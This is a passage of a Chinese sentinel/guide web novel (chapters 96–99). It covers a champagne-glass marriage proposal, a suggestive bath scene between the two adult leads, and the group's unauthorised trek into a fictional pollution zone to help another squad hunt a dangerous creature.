在他心里,大概闻璱总是如此可靠且守序,以至于难以想像闻璱竟然也会有这样投机取巧的时候。 “嗯,就那一次。”闻璱微微一笑,“现在你有我的把柄了。” 话虽如此,实在难以想像这能用来威胁什么,威胁白塔重新审核闻璱当年的成绩?还是威胁闻璱身败名裂? 弓铮皎只能想到一件事:“……那看来这不能写进我的CURSH日记里。” 闻璱:“……” 有一段时间忙于正事了,以至于弓铮皎不提,闻璱险些忘了还有这档子事,更惊讶于弓铮皎居然还在坚持更新。 当然话又说回来,对于弓铮皎来说,应该是心心念念,网络一好起来就重回战场才对。 他有点好奇弓铮皎最近又说了什么胡话,但现在拿出终端来看或许有些煞风景,便只能问:“最近有什么章节?生日礼物篇?” “……不。” 弓铮皎却罕见地有些欲言又止。 和故作扭捏不同,闻璱一眼就能看出弓铮皎什么时候实在故意装弱装可怜,所以他明白,此时此刻弓铮皎的情绪确实如假包换。 旖旎的暖光里,弓铮皎缓缓起身,拿起桌边的香槟。 和闻璱不同,他的穿搭当然是极尽正式,但又不那么花哨,比去宴会那天要简约许多,大概因为他心里今天的主角并非自己。 他把香槟酒打开,站在闻璱身侧,微微弓下腰,几乎俯身到闻璱颊边。 瓶口靠近了杯口,气泡炸裂的小小声响在安静的环境中便格外清晰。 与此同时,另一道淩乱却有力的闷响成了香槟气泡的背景音,近在咫尺,彷佛令闻璱的耳道与之共振。 “那很好,但是,我有其它酝酿很久的话想要说了。” “我想让他们不要在对你发烧,不要再妄想你……我想,但我还没有得到许可。” 瓶口终于碰上杯口,酒液倾倒进高挑的杯中,气泡哗啦哗啦。 “叮”地一声。 一颗硕大的、镶嵌在戒圈上的宝石轻轻敲在杯底。 看来——是求婚篇。 第96章 预备鸳鸯浴。 闻璱对眼前的一切都有预期。 从弓铮皎晚上有安排,到烛光晚餐,到空置了一整场的香槟杯,他早就猜到了弓铮皎打算做什么。 他有意地回避了自己提到任何“求婚”相关的可能,不过是出于不想让弓铮皎觉得精心准备的惊喜被说破。 但闻璱从没有想过,即便一切都在意料之中,当这一切确实发生在眼前的一刻,他的心居然还是乱了一拍。 或许是才睡醒就是容易心跳紊乱,或许他有点窦性心律不齐该去医院体检一下……又或许是被另一阵更紧凑的节奏所感染。 也可能是那颗宝石实在是太过于硕大了。 闻璱端起香槟杯在眼前轻轻晃了晃。 仍然是蓝紫色的宝石,但大小已经接近某部有爱情、有大船的传世佳作里,那颗“海洋*心”的大小。 随着闻璱晃动香槟杯的动作,硕大的宝石和那对比起来显得很小的戒圈在杯底滚了滚,简直像个玻璃珠,像小孩子过家家的那种玩具戒指糖。 然而他没有喝下的动作让弓铮皎联想到另一件事——也是弓铮皎原本就准备好的预案。 弓铮皎很快地拿出另一瓶香槟,倒在自己的杯子里,却同样放在闻璱面前。 “这杯是喝的,很干净。”弓铮皎解释说,“你那杯给我喝就好,只要你……” 只要闻璱答应他。 语句结构说得很像威胁,但真是很虚弱、毫无震慑力的威胁。 闻璱的目光从酒杯转向弓铮皎。 弓铮皎已经伸出手,做好了交换酒杯的准备。 但闻璱并没有把酒杯递到弓铮皎手里,反而把弓铮皎的手拈平、摊开。 然后他倾斜杯口,让酒液流淌过弓铮皎的掌心、指缝。 气泡在皮肤上炸开,弓铮皎敏锐地捕捉到这种感觉,包括最后那枚戒指落在掌心。 他有些愣神,不知道闻璱这样几乎复刻了他刚才的行为,是不是算是一种把戒指还回来的婉拒。 可这又实在不应当。 那只手捧着戒指,闻璱把自己的手缓缓搭上去,吩咐道:“把你该做的事情做完。” 话音才落,弓铮皎就用另一只手擒住闻璱的手腕,似乎生怕这机会一旦错过就会彻底消失。 他的手颤抖着牵起闻璱的指尖,把那枚浸透酒液的、湿漉漉的戒指往闻璱的手指上推,动作到一半才想起来要单膝下跪,又连忙道歉:“对不起……” 求婚对闻璱来说并不能算是完全意义上的惊喜,但是闻璱的一呼一吸彷佛都在弓铮皎的无法预测的那根弦上。 以至于弓铮皎在事前排练演习过千百遍的动作、语句,临到现场,都抛到脑后了。 闻璱用无名指轻轻敲了敲弓铮皎的指腹,似乎是催促一般。 “没关系。”他安慰道。 这很正常,确实很正常,连自己都有点紧张的话,弓铮皎会方寸大乱也完全在意料之中,无需苛责。 更何况他刚才没说完的话本来就是——没有计画,或是打破计画,这种出人意料的感觉才是弓铮皎一贯的作风。 如果这只大比猫每天都静悄悄,不发疯不作妖,那交互性和娱乐性也会有所下降。 最终,戒指被推到闻璱指根。 闻璱拿起来瞧了两眼,感叹道:“好沉啊。” “平时可以不戴的。”弓铮皎连忙道,“这么大戴起来肯定不方便,我只是觉得这颗很配你。” 闻璱正有此意,这么大一颗鸽子蛋平时生活中肯定会很不方便。 但他也不至于没有情调到当场就要撸下来,只不过是感叹一声而已。 结果下一秒,弓铮皎的手指拂过戒指,就这样将那颗鸽子蛋硬生生“拆”了下来。 闻璱:? 弓铮皎解释道:“镶嵌的时候我就想过这个问题了,所以工艺上专门做成这样,你也可以只戴着戒圈。” 闻璱垂眸一看,素圈没了宝石显得十分简约,原本镶嵌的位置变成了几个很小的凹陷,细细一看……有点像猫科动物的梅花爪印。 阿咬爪印,微缩一千倍版本。 他其实觉得在这么隐晦的地方打一个尺寸这么小的标实在意义不大,但转念又想,戒指的存在原本就已经承担了最重要也最直观的表示。 于是,他用另一只手轻轻摩挲着梅花爪印,问道:“你的呢?” 没想到弓铮皎一脸茫然:“我的什么?” “你的戒指?”闻璱有些无奈,“交换戒指,你明白什么叫交换吗?” 弓铮皎竟然一怔:“我也需要吗?” “为什么不需要?”闻璱比弓铮皎还要不理解。 如果说戒指作为一种特殊含义的象征能够宣誓感情方面的归属权,闻璱理解、尊重、并接受这种解释,愿意满足某些隐秘的渴望。 但相应的,弓铮皎也应该戴上同样的戒指才对。 这是一种互相的行为,即便闻璱并没有这方面的占有欲,需要靠一枚小小的戒指来满足。 弓铮皎的看法显然不同。 他抿了抿嘴唇,似乎有些不好意思地解释道:“你愿意戴上我的戒指,就像同意了你愿意让我从此成为你人生的一部分,不只是为了防止有人对你发烧……实际上我也知道,那些人不会因为你戴上戒指就收敛的。” 闻璱暂且选择性忽略他的后半句话,针对前半句反问:“那你呢?” 他不认为弓铮皎这种行为是不情愿与自己分享人生。 弓铮皎对此理所当然:“你不需要问我这个问题啊?在今天之前,在很久之前,你就可以成为我人生的主人了。” 突如其来的“主人”字眼冲击得闻璱耳目一新,他猜想弓铮皎大概只是想表达自己可以随意对他这样那样的意思,但又一时被惊得拿不准主意。 闻璱有些迟疑地问:“这是求婚的情话吗?” “呃。”弓铮皎干巴巴道,“可以是。” 可以是,也就是说,本意不是。 闻璱细细端详着弓铮皎的神态,从稍微发颤的眉梢,到光彩难掩的眼眸,再到那还没从喷嚏里恢复过来的泛红鼻尖,到试图按捺却无论如何也按捺不住地翘起来的嘴角。 他勉强承认,这确实是句发自肺腑的疯话,而非想玩什么很超过的play。 不过这更让闻璱觉得,“交换”的行为非常有必要了。 闻璱并不打算威胁什么,只是淡淡道:“等忙完这些事,下次去找你的设计师的时候,我也去好了。” 他顿了顿,缓缓补充道:“我给你也挑一个。” 行动胜于一切言语,他是这么想的,到时候弓铮皎大概会明白。 只是言语就足够让弓铮皎脑袋里放烟花,把理智想窜天猴一样放飞到天边去了。 闻璱抿了口香槟,算作是让每一个准备都没有落空。 也算是给仪式与晚餐都就此画上一个完满的句点。 余光里,弓铮皎绕着桌边走了两圈,呼吸声轻却淩乱。 直到闻璱放下酒杯,清脆的声响在弓铮皎脑袋里敲响警钟。 “你要回去了?”弓铮皎话音急促。 话出了口,他才反应过来自己这话是多么莫名其妙。 这本来就是弓铮皎家,不是外面的什么餐厅,时间又有些晚了,闻璱要回,也只是回到房间里等待一会,然后睡觉。 即便“分居”两个房间,客观距离仍然算不上远。 但弓铮皎偏偏不想让这个晚上就此结束。 这个晚上在他的心里其实不够完美,意外太多了,只是一切后悔都在扫过闻璱指间的戒指之后烟消云散,以至于弓证据无论如何,都想要将此时此刻延续下去。 哪怕闻璱只是坐在这里什么都不干,哪怕自己只是绕着餐桌再走个百八十圈。 闻璱对弓铮皎的心思实在是瞭若指掌。 他优雅地擦拭过唇角,嘴唇微动,就吐出爆炸性的文本,足以把弓铮皎整个人都轰到美梦里:“不,我打算上楼泡个澡。” “上、上楼?”弓铮皎不敢置信地重复。 “嗯,用你的浴池。可以吗?”闻璱道,“接下来有很重要的事情要做,好在我们已经拿到了一份勉强能够兜底的证物,我想是该好好泡个澡,休息一下。” 弓铮皎平日里经常在浴池里玩小黑,而在小黑之前,浴池曾是阿咬在这个家里最喜欢的地盘。 于情于理——弓铮皎的内心在呐喊:我也要去。 然而说出口的最终还是:“可以,当然可以!那你……洗完了跟我说一声。” 闻璱已经踏上楼梯了,回过头去,居高临下地看着弓铮皎。 他微微歪着头,让轻佻的眉不那么明显,目光却丝毫不掩饰自己“恶意”的兴致。 “那你先好了,你是主人。”他客气道。 “不用、不用。弓铮皎开始胡言乱语,”其实我的浴池也没那么舒服,啊不,还是挺爽的你一定要试试,我的意思是只是对我来说也就那样,因为我都习惯了……我偶尔也想用房间里的洗手间冲个澡,不然花洒都老化了……嗯……” 他说着,身体却诚实地跟随闻璱一起上楼,直至顶层浴室,开始讲解自己的豪华浴池有什么功能。 明明才只是刚开始放水而已,不知从何而来的热气却蒸得弓铮皎头昏脑胀。 他意识到自己已经安分了很长时间的五感很不幸因某些桃色幻想而前功尽弃,以至于鼻间又萦绕起熟悉的香气。 一定是因为太久没抹护手霜了,他该抹点护手霜了…… 这念头窜起来,弓铮皎当场就想要逃下楼去。 然而他一回头,就见闻璱微微笑着,双手搭在自己肩头。 时间在一瞬间被拉成了一条粘稠而纤细的糖丝。 肩头传来并不强硬却不容抗拒的力度,弓铮皎顺从着倒下,就这样,躺进温热的水中。 闻璱带着笑意的声音传入水中,传入他耳中: “展示你的泡泡浴吧,大少爷。” 第97章 可伸缩倒刺的效果不可替代。 水波漫过弓铮皎的眼前。 浴池不深,水位更浅,连小孩子都很难在其中溺水,但弓铮皎完全没有任何抵抗力地平躺在池底,彷佛掉进水里的橡皮泥,自然被水流彻底淹没。 以弓铮皎的肺活量,当然也不因此呛水,他闭着气,完全出于主观意识地开始发呆。 字面意思上,展示泡泡浴功能,需要自己人也进来吗? 闻璱到底是什么意思?是不是那个意思? 弓铮皎脑袋里纷乱的思绪成了一团乱七八糟的毛线球,阿咬一只大爪子把它盘来盘去,只是让局势变得更不明朗。 但他很确信一件事:不能轻举妄动! 才刚求过婚就表现得太急色,未免显得十分小人十分不检点。 站在池边的闻璱也没想到,弓铮皎居然真的躺在池底没动静了。 闻璱:? 这简直和闻璱记忆里那个给三分颜色就敢开染坊的弓铮皎完全不是同一个人。 闻璱垂眸盯了两秒,泡沫漂进了浴池里,水波摇荡,他看不清弓铮皎的表情。 于是,闻璱弯腰挽起裤腿,同样踏入浴池中。 长裤是宽松款,很容易就挽到膝盖上面,但也因为宽松,在动作的过程中稍微滑脱了一节。 当闻璱站在池中时,膝下的裤腿已经被水和泡沫浸湿,变得沉而有存在感。 闻璱伸手捏住弓铮皎的衣领,一把把弓铮皎拎了起来。 不知为何,他突然想起自己曾经在弓铮皎精神图景里那些“做鱼”的日子,挑了挑眉,玩笑道:“怎么了,吸盘鱼?” 弓铮皎倒也很顺从地被闻璱“拎”着站起来,没让闻璱觉得多费力。 “嗯……”他模糊地应了一声,不知道接下来该做出什么反应比较合适。 闻璱也没有多说什么,缓缓在池边坐下。 水位越来越高,泡沫也越来越多,直到几近溢出。 弓铮皎在泡沫山里仓促地走来走去,似乎真的在行驶吸盘鱼的指责,清理浴池。 他当然也不想如此尴尬,但不知何时,生理反应似乎越来越明显,以至于他每一秒都在克制饿虎扑食的欲望。 然而越想越在意,反扑的代偿反应让他无法忽视空气中越来越馥郁的清甜香气,浓度高得弓铮皎皮肤都感到隐隐刺痛。 就连水流和泡泡彷佛都在将他推向闻璱,不知不觉间……他已经站在闻璱身侧。 “你的体温很高。”闻璱似乎调侃道,“我感觉水温都高了两度。” “……我好像又开始代偿了,明明之前很长时间都没事了。”弓铮皎不知该怎么回答,“我闻到你的向导素……” 话音未落,鼻息之间向导素的浓度骤然暴涨,一瞬间就让弓铮皎膝弯酸软,忍不住跪了下去。 弓铮皎还顾忌着自己的生理反应,弓着要垂着脖颈,不想让闻璱看见什么不该看见的。 但闻璱已然伸手抚上弓铮皎的后脑。 空气潮热,润湿了发丝,手感不再毛茸茸,而是有意识一般地缠进闻璱指间。 闻璱像对待小孩子一样轻轻摸了摸他的脑袋,随即手指用力,把弓铮皎的脑袋拢到自己腿边。 他弯下腰,声音很轻:“放心吧,不是代偿。” 手指从发间滑到后颈,若有若无地揉捏了几下,闻璱突然用力,让弓铮皎不得不抬起下巴。 “是我的向导素。”闻璱道,“你又进入热潮期了。” 闻璱是故意的。 意识到这一点,就像一记强心针,突然让弓铮皎脊椎窜上来一阵过电般的酥麻,但酥麻过去之后,心里便如毛线团乱滚一般的瘙痒。 弓铮皎双手撑在闻璱两侧,缓缓站起身,闻璱也顺从地让开腿,为弓铮皎让出空间。 身体相贴,弓铮皎就明白自己的顾忌完全是想多了,或者说,他又被闻璱玩弄得转来转去,兜兜转转自己踏入陷阱。 只是这样一来,高低位置对换,弓铮皎垂头看着闻璱的面容近在眼前。 白净的脸颊上多了几滴水珠,是从弓铮皎打湿的发梢滴下去的。 让弓铮皎鬼使神差地又回想起在污染区那时。 只不过,这次这颗“剥壳荔枝”像是从冰箱里才拿出来,剔透的果肉上冷凝出了点点水珠。 而会导致这种现象的就是弓铮皎自己。 闻璱的唇边含着淡淡笑意,温和而又有几分兴味盎然。 他抬眼看着意乱情迷写在脸上的弓铮皎,微微抬了一下下巴,似乎是一种鼓励。 于是,弓铮皎再也无法纠结,不顾一切地吻了下去。 呼吸交缠变成了唇舌交缠,弓铮皎吻得柔软,身体却忍不住越来越用力地压向闻璱。 他又担心闻璱会被自己压得倒下去摔疼,小心翼翼地抬手揽在闻璱后腰以作支撑。 然而起初还算得上是试探性,随着闻璱又一次抬手按在弓铮皎后颈,那双手就忍不住游走起来。 最终,蓄谋已久而又居心叵测地停留在闻璱后背,手指颤抖着揉捏过肖想已久的背肌。 果然,闻璱当即急促地轻哼一声,另一只手碾过弓铮皎的喉结。 这几乎是本能的反应,但很快闻璱就反应过来,或许此时有更好的选择。 闻璱没有立刻结束这个吻。 就像上次一样,他一边轻轻地吻着弓铮皎,一边悄无声息地调整着弓铮皎的感官。 他再次用指尖摩挲弓铮皎的喉结,一阵被连通般的快感就这样反射进弓铮皎的大脑,让弓铮皎先放开手,结束了这个吻。 “你又——”弓铮皎试图控诉。 话还没能真正地吐出口,闻璱手指微动,弓铮皎闷哼一声,连忙咬牙切齿地抿住薄唇,生怕一丝缝隙都会让自己不受控制的声音泄露出去。 哪怕此时此刻他已经很失态了,却还是想欲盖弥彰地维持些什么假象,才好显得输得体面。 可惜闻璱此时此刻并没有得饶人处且饶人的打算,乘胜追击才是唯一的准则。 他一只手捧起弓铮皎的脸,另一只手则再一次强硬地撬开弓铮皎牙关,探入其中,灵巧地解开了止咬器的扣链。 动作时他的向导素没有一刻停止释放,浓度不断攀升,最终激得弓铮皎被他轻轻一按,就再次软了膝腿,跪在池底。 “你的尾巴呢?”闻璱问。 要尾巴做什么?弓铮皎不知道,却不敢问,生怕声带的振动都会导致被闻璱的手直接缴械。 幸好拟态比本人更加诚实,一条尾巴从水底和泡泡中探出来,外观毛茸茸、动作黏糊糊地黏上来。 闻璱微笑着捏了捏尾巴尖,然后吩咐道:“把你的手捆住,不许松开。” 弓铮皎:“……!!!” 他觉得闻璱简直是卸磨杀驴——连道具都要让自己的尾巴来扮演,也就是说接下来发生什么,他还要付出多一倍的忍耐,控制住自己的尾巴不要来讨赏,也控制住自己的手不能挣脱。 可弓铮皎内心兴奋又震撼的瞬间,那只尾巴已经听话地照做,把弓铮皎的两只手固定在身后。 他舔吻闻璱的掌心,声音有些含糊:“我很乖,奖励我吧……” 闻璱却一笑:“好像是尾巴比较乖,你比较叛逆。” 都说猫科动物的尾巴和本体彷佛是两个独立的意识,这只尾巴就像阿咬,总是在很多时候暴露弓铮皎的本意。 也让闻璱心里很清楚,现在这么乖只是为了讨赏。 一旦得到了想要的,弓铮皎是一个多么得了便宜还卖乖的家夥,闻璱比谁都清楚。 但闻璱没怎么顾虑太多,仍然决定大方地让他“圆梦”一回。 原因无他,想要事后反咬,也得看到时候还有没有把牙咬紧猎物喉管的力量——就像刚才弓铮皎揉他后背那样。 闻璱继续抚摸着弓铮皎的耳朵,渐渐那只耳朵越来越烫,直到变成了手感更好的兽耳。 高度差让弓铮皎只能配合著蹭闻璱的手,后来便是鼻尖擦过闻璱腰腹,再后来,很难说是不知不觉,还是煞费苦心,他终于蹭到了某个肖想已久的部位。 刚才胡闹时从未有人在意过,水波荡漾,早就打湿到了闻璱的腰际,弓铮皎更是浑身湿透。 浸湿的布料变沉,弓铮皎努力了半天,也无法只用脸把它扒拉下来,反而逗得闻璱轻笑出声。 他自觉破坏气氛,于是灵机一动,在自己手腕上缠了几圈的尾巴越来越长,直到伸进闻璱裤腰。 然后——他终于可以享用了。 闻璱也终于明白了可伸缩倒刺的效果究竟有多么……不可替代。 他心想这大概是弓铮皎唯一一件没有谦虚的事,哪怕弓铮皎过去没有这方面的经验,硬件的优势过分直观,击溃了一切技术上的困难。 唯一值得庆幸的是,向导对哨兵 的天生版本优势,闻璱又是个版本格外超前的向导,才能把控住这只无法无天的野兽。 折腾到泡泡都快消失了,闻璱喘息着,手上用力扯着弓铮皎的兽耳,想把这只脑袋拉开。 可惜还是晚了一步。 “你真是……”闻璱眯了眯眼。 弓铮皎舔了舔嘴唇,呲牙得意地笑了一下。 他的两颗上虎牙变得更加明显,甚至不受控制地崩裂了止咬器上的齿环。如果不是闻璱早就解开了扣链,现在恐怕有惨案要发生。 但奇异的是,或许有些不分大小王地,弓铮皎并无一丝心有余悸,全然是既爽到了也爽到了的满足感。 雨云里,弓铮皎忍不住用那两颗虎牙磨了磨自己的下嘴唇,直到舌尖抿到一丝铁锈味。 他勾了勾嘴角。 闻璱的味道和他的味道,现在彻底混在一起了。 第98章 吃醋了? 去污染区的时间敲定得很快。 一方面是因为这件事本来也不好再拖,另一方面,则是因为几个人的任务状态都被冻结了。 不用想也知道这一定是宫董的手笔,虽然还不至于只手通天,但程序上给他们制造些困难并不是什么难事。 期间,宫董通过柳部长又转达了几次想要和闻璱会面的意思,大概是上次会面最后闻璱的话令他寝食难安。 然而这边将走正常流程的路堵上,闻璱还没说什么,另外几个参与人员异口同声表示:“那偷渡吧。” 话音落下,通话里一齐静了下来。 逄靥星也不知道在问谁:“你也偷渡过?” 弓铮皎答道:“确实——” 闻璱打断:“你这个‘也’是什么意思。” 舒颖自曝:“其实之前我就偷渡过一次,被罚了两万块。” 逄靥星乐了:“哈哈,我情节轻,只罚了一万。” 弓铮皎偷瞄闻璱,谨慎而又有点小骄傲地道:“我从来没被发现过。” 但“从来没有”这个说法,听起来不像是这种事只发生过一次的意思。 闻璱:“……” 他也从来没想过自己这个私下接活安抚的人,在看起来都是老实人的朋友圈里,竟然不是最离经叛道的那一个。 既然大家都有经验,也对此没什么介怀,闻璱当然也不会拘泥于繁文琐节,很快转头看向弓铮皎,问道:“偷渡要怎么做?什么时候可以去?” 他习惯性地制定计画,并以“最好不要被发现”为目标。 弓铮皎眨了眨眼:“现在就可以,走着去。” 闻璱:? “哎呀,其实就是硬扛。”逄靥星解释道,“我之前是在出去的时候被发现的,估计舒颖也是吧?那个电网在污染区里面不太好躲。” 舒颖:“嗯。” 污染区很大,关卡之外的边缘局域都设置了多层高压电网和精神力监测设备,对于多数特种人来说都很难躲避。 当然,办法总比困难多,至少通话里的这几个哨兵都有的是办法偷偷进入污染区。 只不过进去容易出来难,由于污染区内存在精神污染,就如同潜水上浮时需要定时停留防止减压病,出来时也是相同。“减压”过程中,就比进入时更容易暴露在格外敏感的精神力监测设备下。 弓铮皎是唯一一个在这件事上格外有发言权的。 他脸上没什么表情变化,尾巴却冒出来,熟练地又往闻璱腰上盘:“很简单,我有办法。” “那就听你的。” 闻璱毫不留情,一把拍开。 蹬鼻子上脸虽迟但到,弓铮皎果然不让闻璱失望,在得到奖励之后的这几天从未停止过各种勾引、挑逗和邀请。 “什么时候?” “首都关卡的警戒局域很广,离内核地带也远,最近的可进入局域大概只有五百多公里。”弓铮皎道,“现在出发的话,晚上之前就能到。” 闻璱点点头,安排道:“有定位吗?同步给他们,我们今晚见?” 挂了这通雷厉风行的通话,闻璱看着弓铮皎,眉头轻佻:“你经常去?” “……也不能说是很经常。”弓铮皎委婉道,“主要是生病之前,偶尔任务空窗期的时候,需要发泄一下阿咬的精力,我就去那边玩扫雷。” 闻璱:“……” 看来这个次数很可能多得根本数都数不清…… 夜幕时分,几人在荒郊野外的山林里相会。 这局域其实已经是被封禁的缓冲区,只是比起正式进入污染区还要相对安全些。 车被停在距离此地尚有一段不近距离的服务区,逄靥星开了一路车,到的时候正拿着一份服务区买的哨兵沙拉狼吞虎咽。 舒颖就干练得多,带着大包小包的实验装备和採样设备。即便有弓铮皎这个“导游”,她仍然把精神体银环蛇放到周边细细探测。 “离内核地带不算远,全速赶路的话,大概需要十五个小时左右。”舒颖计算道。 “实际时长能在二十四小时内抵达就算顺利了。”弓铮皎提醒她,“我们是偷渡,还要注意避让任务中的小队。” “你说得对,所以我提前把目前任务中的所有小队和任务内容拉了个表,在这里了。”舒颖拿出几份复印好的文档递给几人。 闻璱接过其中一份,草草翻了几页,就将注意力放在了第一页上。 后几页的小队级别普遍较低,任务也相对常见,闻璱扫过几眼,就能大概预演出这些小队可能的行进路线,不难避让。 第一页多数是公会排行前列的高级小队,涉及的任务就需要在内核地带进行大量活动,撞车的概率更大。 更需要担心的是没有被公布的,正在执行S档委托的小队。 闻璱心里规划着,视线突然在第一页最前方的某个小队上,许久没有移开。 弓铮皎凑过来瞥了一眼,立刻脸色铁青。 是彭枭的新小队,彭枭是队长,队员包括一名A级向导,以及五名哨兵,也算是很不错的构成。 成员平均级别高,彭枭在白塔和公会的信誉也算不错,这个小队虽然任务记录还很少,评级却不低,所以几天前就接到了公会的指派委托:在内核地带外围巡逻,标记并驱赶蔓生蜥蜴。 蔓生蜥蜴是一种有些难缠的污染生物,因为善于伪装、繁殖能力极强,又极难消杀,一个不留神就会在污染区泛滥成灾。 这个指派委托很多高级小队都会定期去完成,所以在场几人都很清楚,这意味着彭枭小队在接下来至少三到四周的时间,至少都会在内核地带周边游走。 这样一来,不幸偶遇的概率大大增加。 逄靥星才要开口,弓铮皎抢先道:“碰到也没关系,我能打到他失忆,就没人会举报我们了。” 逄靥星和他击掌:“支持的。” 闻璱:? “你们在说什么?”闻璱抬眼。 “彭枭的新小队在执行驱赶蔓生蜥蜴的任务。”弓铮皎指了指文档的那一行,“这个可能会不太容易避开,但你没关系,我会恰到好处地揍他。” 闻璱顺着他的手指看去,才一怔,有些好笑道:“行了。你不说,我都没发现,他不重要。” 见闻璱神情自然不似作伪,又联想了一番闻璱一贯的处事风格,弓铮皎不得不承认这话居然不像谎言。 “那你刚才在意什么?”弓铮皎问。 闻璱抬手,指尖在彭枭小队上面一行轻点。 “这个任务,猎杀奶油鳄,小队已经进入污染区八天了。”闻璱道,“他们可能遇到了一些困难,如果顺利的话,我们可以去帮帮忙。” 奶油鳄是一区的另一种极高危污染生物,攻击性极强,且实体难以控制,稍有不慎就有溜出污染区的风险。 所以,每出现一只新的都会光速登上公会通缉榜,成为级别最高的委托。 舒颖微微蹙眉:“这很危险,即便是我们曾经的满编小队,猎杀奶油鳄也不敢说手到擒来。” “没关系,有我在。”弓铮皎说,“查记录,我杀过三只,不能说十拿九稳,但应该问题不大。” 他的战绩拎出来确实有自信的资本,舒颖立刻拿出终端查询,随后选择了让步:“可以。但我得问问,为什么?” 弓铮皎感动道:“闻璱一直这么善良好心的。” “……倒也不是,我很阴险。”闻璱指着接下任务的小队成员。 队长的名字叫:金峙。 弓铮皎只呆了一秒,就立刻反应过来:“这就是那个,‘老金’?” 闻璱颔首。 一时间,弓铮皎才从看到彭枭的坏心情里脱离出来的好兴致又变得阴晴不定了起来。 他有点后悔自己立刻应下这件事了,他清楚地记得上一次闻璱提起这个“老金”的时候,是怎样暗示过对方似乎也对闻璱有些那种意思,虽然那些都不重要——重要的是,闻璱此时此刻提起,是不是有什么深意? 弓铮皎没能琢磨出什么门道,闻璱不是那种人,也不需要故意制造这种修罗场。 这个名字在弓铮皎脑袋里转了好几圈,反而勾出一段尘封已久的记忆。 “这个人,他的精神体,是不是惊豹?”弓铮皎试探着问。 闻璱“嗯”了一声,有些意外:“你也认识他?” 虽然金峙作为S级哨兵在公会里本来也是风云人物,但闻璱并不认为弓铮皎平日里会对此投以关注。 “以前好像见过一面,那时候他在张罗一个史前生物博物馆,邀请过我加入,所以我记得他的精神体。”弓铮皎摸了摸下巴,“但那时候我已经生病了,实在没精力和他做生意,甚至可能还要充当展品和模具,就拒绝了。” 刃齿虎和惊豹都是已灭绝的生物,目前古生物学界确实有通过特种人精神体来复原古生物的课题,但因为拥有史前生物精神体的特种人实在太少,且生物习性也受特种人影响极大,这一方向目前还没有什么实质性的成果。 不过,金峙爱好广泛,会捣腾这些东西,闻璱从未听闻,却不意外。 闻璱才知道还有这么一层关系,闻言,认真道:“答应他,可以吗?” 他如此发话,弓铮皎当然没什么不乐意的,当即应下:“没问题。只是,你们关系很好吗?” 又是污染区任务要帮帮忙,又是史前生物博物馆也要答应下,弓铮皎明知清白,心里还是难免有些在意闻璱对这个人的“善良”。 或者是“阴险”。 “你真的不知道他是谁吗?”闻璱无奈地摇了摇头,“他姐姐金岸,是公会背后基金会的负责人,金峙是他家唯一一个特种人。和他们搞好关系,对我们百利而无一害。” “公会和希冕创辉一向不睦,酸雨生物的研究又跳过了公会,这件事如果让他们知道,我们接下来的路会好走很多。” 顿了顿,闻璱又对似乎沉思的几人解释道:“金峙的作战方式并不适合猎杀奶油鳄,但他还是冒险接下这个任务,大概率是需要这个顶级任务的履历,以后会成为公会管理层。我们得把这个关键的人情卖给他,再通过他和基金会沟通,让公会和基金会出面阻拦催化剂上市。” “当然,我猜想以公会和希冕创辉的关系,他们可能会对你叔叔落井下石,这个没关系吧?”闻璱看向弓铮皎。 “没事。”弓铮皎摇了摇头,只是问:“这个基金会,是之前资助你研究课题的那一个吗?” 闻璱没想到他问起这个,一怔之后,点了点头。 弓铮皎笑了一下:“那我没有什么别的问题了。” 于是,几人最后又检查过一番装备终于启程出发。 有小黑的随时响应,也无需遮掩拟态融合的作战方式,避开层层布设的电网和精神力监测设备对闻璱来说并不难。 他戴上作训服外套的帽子,将唯一有些两眼的白发隐藏起来,转眼间就隐没于黑夜之中。 当闻璱通过这一片过渡区,正是在污染区落地之后,回头望去,舒颖和逄靥星竟然都还在路上。 只有弓铮皎一直紧紧跟在他身后,虽然不能起飞,却一直很谨慎小心地防止任何意外发生。 等待的时间不会太久,所以这个忙里偷闲的“二人世界”只足够他们说寥寥几语。 弓铮皎说:“那个金峙,这次让我来和他交涉,好吗?” 闻璱似笑非笑地睨了他一眼:“吃醋了?” “……一开始有一点。”弓铮皎轻抿薄唇,“但知道他就是那个基金会的人,我就觉得你真的受了很多委屈。” 课题发生事故后,基金会曾经毫不犹豫地想将闻璱丢出去,成为和希冕创辉博弈的“由头”。 即便那个金峙似乎对闻璱那么有情,但利益面前,或许是权衡之后选择放弃,或许是人微言轻,金峙都没有出面帮闻璱一把。 怪不得帮闻璱保存小电驴的时候服务那么到位,大概其中也有几分愧疚? 闻璱和金峙的私交深浅,弓铮皎不知道,当然也没资格要求金峙当时一定要做点什么才算应当。 弓铮皎只是油然而生一种愤怒,夹杂着隐隐的亏欠。 他想如果那个时候他认识闻璱就好了。 在过去许多闻璱困难的时候,他都缺席了,甚至最早能追溯到小时候闻璱被邻居编排谣言上……这是无论如何都无法补偿的,哪怕他知道闻璱并不需要。 但从今往后,他想说到做到,人如其名,成为替闻璱冲锋陷阵的那个骑士。 第99章 你得小心了。 这番话让闻璱着实怔了片刻。 闻璱看着弓铮皎认真且比求婚时还镇定的表情,渐渐敛了笑意。 他想说些什么,但余光瞥见逄靥星和舒颖靠近过来的身影,只能简短地答了一声:“好啊。” 正式进入污染区之后,一些精神力设备就可以派上用场了。 不过这次行动的时间不算紧张,更重要的是小心避开其它小队,行进速度不快,关于闻璱“座驾”的归属权竟然有人意见相左。 弓铮皎下意识道:“我有经验。” 逄靥星也只是出于习惯地幽幽道:“我经验更多。” 弓铮皎:! 被这么一说,弓铮皎才后知后觉地想起来,逄靥星本来就是闻璱的副队长。 舒颖不明白这两人为什么能为这点小事呛起来,默不作声地研究着自己的污染监测设备。 而另一边,闻璱调试好通信器,转头直接安排分工:“别操心了,我趁夜走空路,比你们更快。” 话音落下,一双羽翼从他背后再次探出来,昏黑的夜里,即便是眼力过人的哨兵也只能依稀看见轮廓。 顿时,一切争吵、辩论的苗头都被掐住了。 闻璱又跟几人再次确认过计画和路线之后,双翼舒展,轻盈地跃上了天。 污染区的大气反射也很特殊,天空中既不见什么雨云,也看不到一颗星星,黑蒙蒙地。 弓铮皎极目远眺,才能依稀看见一缕从帽子里偷偷溜出来的发丝,宛如一道流星一闪而过,划开天幕。 “走吧。” 闻璱所言非虚。 这夜在赶路中度过,到天蒙蒙亮时,通信器里传来闻璱的声音:“隐蔽,有小队。” 类似的情况这夜已发生过几次,所幸一切顺利,三个哨兵熟练地查找了一处遮挡躲着,静候小队路过。 蹲了一会,闻璱还没发话,弓铮皎突然出声:“这么巧?” 他按了按耳朵上的通信器,往天上望去:“是彭枭的小队。他的精神体在天上,你得小心了。” 